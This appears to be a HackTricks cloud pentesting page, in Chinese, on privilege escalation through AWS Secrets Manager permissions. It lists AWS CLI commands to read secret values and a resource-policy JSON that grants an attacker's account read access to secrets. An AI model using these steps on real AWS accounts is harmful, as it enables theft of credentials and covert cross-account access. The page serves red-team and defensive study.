AWS - Secrets Manager Privesc

Tip

学习和实践 AWS 黑客技术：HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术：HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术：HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

Secrets Manager

有关 secrets manager 的更多信息，请参见：

AWS - Secrets Manager Enum

secretsmanager:GetSecretValue

拥有此权限的攻击者可以获取 AWS Secretsmanager 中 secret 内保存的值。

aws secretsmanager get-secret-value --secret-id <secret_name> # Get value

潜在影响： 访问 AWS secrets manager 服务中的高度敏感数据。

Warning

请注意，即使拥有 secretsmanager:BatchGetSecretValue 权限，攻击者仍需要 secretsmanager:GetSecretValue 才能检索敏感 secrets。

secretsmanager:GetResourcePolicy, secretsmanager:PutResourcePolicy, (secretsmanager:ListSecrets)

在具备上述权限的情况下，可以将访问权限授予其他主体/账户（甚至外部）来访问该secret。请注意，为了读取使用 KMS key 加密的 secrets，用户还需要对该KMS key拥有访问权限（更多信息见 KMS Enum page）。

aws secretsmanager list-secrets
aws secretsmanager get-resource-policy --secret-id <secret_name>
aws secretsmanager put-resource-policy --secret-id <secret_name> --resource-policy file:///tmp/policy.json

policy.json:

{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::<attackers_account>:root"
},
"Action": "secretsmanager:GetSecretValue",
"Resource": "*"
}
]
}

Tip

学习和实践 AWS 黑客技术：HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术：HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术：HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks